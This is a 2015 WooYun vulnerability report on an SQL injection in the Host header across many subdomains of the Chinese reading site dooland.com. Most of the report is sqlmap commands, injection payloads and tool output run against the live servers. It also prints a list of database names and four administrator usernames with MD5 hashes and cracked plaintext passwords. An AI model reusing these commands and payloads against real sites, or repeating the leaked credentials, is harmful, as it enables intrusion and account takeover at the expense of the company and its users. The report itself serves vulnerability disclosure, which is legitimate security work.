当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0127915

漏洞标题:读览天下旗下分站通用SQL注入/近百库/上万用户信息泄露包括管理员

相关厂商:dooland.com

漏洞作者: 凌零1

提交时间:2015-07-21 10:58

修复时间:2015-07-26 11:00

公开时间:2015-07-26 11:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-21: 细节已通知厂商并且等待厂商处理中
2015-07-26: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

几乎都存在注入,我就不一一试了,随便找了八个证明吧!

详细说明:

统一host注入:
http://UCG.dooland.com/
http://zqb.dooland.com/
http://zgdy.dooland.com/
http://zgzk.dooland.com/
http://zfsd.dooland.com/
http://zito.dooland.com/
http://zxyxbook.dooland.com/
http://zongyiweekly.dooland.com/
太多了,我贴五个吧!

C:\Python27\sqlmap>sqlmap.py -u "http://UCG.dooland.com/" -p "host"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150609}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:18:12
[16:18:13] [INFO] resuming back-end DBMS 'mysql'
[16:18:13] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: Host (Host)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: UCG.dooland.com' AND 3329=3329 AND 'vDmD'='vDmD
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: UCG.dooland.com' AND (SELECT * FROM (SELECT(SLEEP(5)))KZAk) AND 'Sp
nV'='SpnV
---
[16:18:14] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.33
back-end DBMS: MySQL 5.0.12
[16:18:14] [INFO] fetched data logged to text files under 'C:\Users\wjl\.sqlmap\
output\UCG.dooland.com'


C:\Python27\sqlmap>sqlmap.py -u "http://zxyxbook.dooland.com/" -p "host"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150609}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:30:24
[16:30:24] [INFO] resuming back-end DBMS 'mysql'
[16:30:25] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://zxyxbook.dooland.com/book.php'. Do you want
to follow? [Y/n] n
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: Host (Host)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: zxyxbook.dooland.com') AND (SELECT * FROM (SELECT(SLEEP(5)))DGJG) A
ND ('gPYG'='gPYG
---
[16:30:28] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.33
back-end DBMS: MySQL 5.0.12
[16:30:28] [INFO] fetched data logged to text files under 'C:\Users\wjl\.sqlmap\
output\zxyxbook.dooland.com'


C:\Python27\sqlmap>sqlmap.py -u "http://zongyiweekly.dooland.com/" -p "host"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150609}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:19:00
[16:19:00] [INFO] testing connection to the target URL
[16:19:01] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[16:19:03] [INFO] target URL is stable
[16:19:03] [INFO] testing if Host parameter 'Host' is dynamic
sqlmap got a 302 redirect to 'http://www.dooland.com/'. Do you want to follow? [
Y/n] n
[16:19:06] [INFO] confirming that Host parameter 'Host' is dynamic
[16:19:06] [WARNING] Host parameter 'Host' does not appear dynamic
[16:19:07] [WARNING] heuristic (basic) test shows that Host parameter 'Host' mig
ht not be injectable
[16:19:07] [INFO] testing for SQL injection on Host parameter 'Host'
[16:19:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:19:11] [INFO] Host parameter 'Host' seems to be 'AND boolean-based blind - W
HERE or HAVING clause' injectable
[16:19:11] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[16:19:11] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[16:19:12] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[16:19:12] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[16:19:12] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[16:19:12] [INFO] testing 'MySQL inline queries'
[16:19:13] [INFO] testing 'PostgreSQL inline queries'
[16:19:13] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[16:19:13] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[16:19:13] [WARNING] time-based comparison requires larger statistical model, pl
ease wait.........
[16:19:18] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[16:19:19] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)
'
[16:19:19] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - c
omment)'
[16:19:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[16:20:20] [INFO] Host parameter 'Host' seems to be 'MySQL >= 5.0.12 AND time-ba
sed blind (SELECT)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1) values? [Y/n] n
[16:20:50] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[16:20:50] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[16:21:06] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[16:21:13] [INFO] checking if the injection point on Host parameter 'Host' is a
false positive
Host parameter 'Host' is vulnerable. Do you want to keep testing the others (if
any)? [y/N]
sqlmap identified the following injection points with a total of 78 HTTP(s) requ
ests:
---
Parameter: Host (Host)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: zongyiweekly.dooland.com' AND 6176=6176 AND 'xFHr'='xFHr
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: zongyiweekly.dooland.com' AND (SELECT * FROM (SELECT(SLEEP(5)))fotE
) AND 'taAL'='taAL
---
[16:21:25] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.33
back-end DBMS: MySQL 5.0.12
[16:21:25] [INFO] fetched data logged to text files under 'C:\Users\wjl\.sqlmap\
output\zongyiweekly.dooland.com'
[*] shutting down at 16:21:25

漏洞证明:

[*] starting at 16:20:30
[16:20:30] [INFO] resuming back-end DBMS 'mysql'
[16:20:30] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: Host (Host)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: zqb.dooland.com' AND 3666=3666 AND 'AVuD'='AVuD
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: zqb.dooland.com' AND (SELECT * FROM (SELECT(SLEEP(5)))bpuQ) AND 'VC
tM'='VCtM
---
[16:20:31] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.33
back-end DBMS: MySQL 5
[16:20:31] [INFO] fetching database names
[16:20:31] [INFO] fetching number of databases
[16:20:31] [WARNING] running in a single-thread mode. Please consider usage of o

C:\Python27\sqlmap>sqlmap.py -u "http://zgzk.dooland.com/" -p "host" --current-d
b
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150609}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:25:05
[16:25:05] [INFO] resuming back-end DBMS 'mysql'
[16:25:05] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: Host (Host)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: zgzk.dooland.com' AND 3435=3435 AND 'WoSc'='WoSc
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: zgzk.dooland.com' AND (SELECT * FROM (SELECT(SLEEP(5)))MbgL) AND 'Q
abO'='QabO
---
[16:25:06] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.33
back-end DBMS: MySQL 5.0.12
[16:25:06] [INFO] fetching current database
[16:25:06] [WARNING] running in a single-thread mode. Please consider usage of o


泄露数据库,部分用户及管理员信息
其中一个用户表8W多

Database: dudubao
+---------------+---------+
| Table | Entries |
+---------------+---------+
| creatmag_user | 82643 |
+---------------+---------+


部分管理员信息,似乎弱口令

Database: dudubao
Table: admin
[4 entries]
+-------------+------------------------------------------------+
| username | password |
+-------------+------------------------------------------------+
| liuyinke | 001e7fa1f0547f86ff6b672503253236 (liuyinke) |
| liangsihui | 02cd18576b0117551db11079034ed667 (liangsihui) |
| zhoucuiping | 0490b54b79b6d74eefd1de353dee314d (zhoucuiping) |
| linjun | 0667af0c65de88a4c30a00700e02d432 (linjun) |
+-------------+------------------------------------------------+


数据库太多了,记得是90多

[16:20:01] [INFO] retrieved: information_schema
[16:21:31] [INFO] retrieved: A_Bank
[16:22:01] [INFO] retrieved: DoolandERP
[16:23:02] [INFO] retrieved: DownLoadInfoDB
[16:24:05] [INFO] retrieved: JIANBAO
[16:24:27] [INFO] retrieved: OEM
[16:24:39] [INFO] retrieved: ReadStat
[16:25:04] [INFO] retrieved: ads
[16:25:18] [INFO] retrieved: adstat
[16:25:39] [INFO] retrieved: adsystem
[16:26:08] [INFO] retrieved: ahvnet
[16:26:26] [INFO] retrieved: api_site_chinagames
[16:27:30] [INFO] retrieved: api_site_tttz
[16:28:13] [INFO] retrieved: asus
[16:28:27] [INFO] retrieved: bbappnet
[16:28:54] [INFO] retrieved: billwang
[16:29:18] [INFO] retrieved: business
[16:29:44] [INFO] retrieved: client
[16:30:22] [INFO] retrieved: collector
[16:30:51] [INFO] retrieved: common
[16:31:17] [INFO] retrieved: cover
[16:31:40] [INFO] retrieved: dayoo
[16:31:58] [INFO] retrieved: dongyou
[16:32:18] [INFO] retrieved: doolandmanager
[16:32:57] [INFO] retrieved: dudubao
[16:33:16] [INFO] retrieved: dudubao_bak
[16:33:56] [INFO] retrieved: dudubao_book
[16:34:36] [INFO] retrieved: dudubao_gztv
[16:35:27] [INFO] retrieved: dudubao_hd
[16:35:54] [INFO] retrieved: dudubao_test
[16:36:30] [INFO] retrieved: eben
[16:36:43] [INFO] retrieved: expand
[16:37:01] [INFO] retrieved: fhxxw
[16:37:21] [INFO] retrieved: gdvnet
[16:37:37] [INFO] retrieved: gdvnet2
[16:37:58] [INFO] retrieved: gdwap
[16:38:34] [INFO] retrieved: gxvnet
[16:38:54] [INFO] retrieved: gzvnet
[16:39:21] [INFO] retrieved: hzkzy
[16:39:42] [INFO] retrieved: ifeng
[16:40:06] [INFO] retrieved: ipad_adsys
[16:40:40] [INFO] retrieved: jigou
[16:41:02] [INFO] retrieved: jsvnet
[16:41:19] [INFO] retrieved: jxvnet
[16:41:42] [INFO] retrieved: kindle_caixin
[16:42:19] [INFO] retrieved: kuanzon
[16:42:49] [INFO] retrieved: lcbook
[16:43:09] [INFO] retrieved: lephone
[16:44:03] [INFO] retrieved: lib
[16:44:24] [INFO] retrieved: mag_pub
[16:44:46] [INFO] retrieved: magazine_upload
[16:46:18] [INFO] retrieved: mysql
[16:46:37] [INFO] retrieved: newlib
[16:47:04] [INFO] retrieved: news
[16:47:24] [INFO] retrieved: newspaper
[16:47:54] [INFO] retrieved: opds_aldiko
[16:48:46] [INFO] retrieved: paycenter
[16:49:19] [INFO] retrieved: qinghua
[16:50:10] [INFO] retrieved: qqcaibei
[16:50:42] [INFO] retrieved: sctfds
[16:51:07] [INFO] retrieved: scvnet
[16:51:36] [INFO] retrieved: seo
[16:51:53] [INFO] retrieved: shop_car
[16:52:47] [INFO] retrieved: shoutu
[16:53:21] [INFO] retrieved: sina_book
[16:54:17] [INFO] retrieved: sina_mag_cooperation
[16:55:42] [INFO] retrieved: stat_dudubao
[16:56:32] [INFO] retrieved: s


修复方案:

来个礼物吧!0_0

版权声明:转载请注明来源 凌零1@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-07-26 11:00

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无


漏洞评价:

评论

  1. 2015-07-21 11:01 | 镱鍚 ( 路人 | Rank:6 漏洞数:4 | 。。!)

    快到100了~~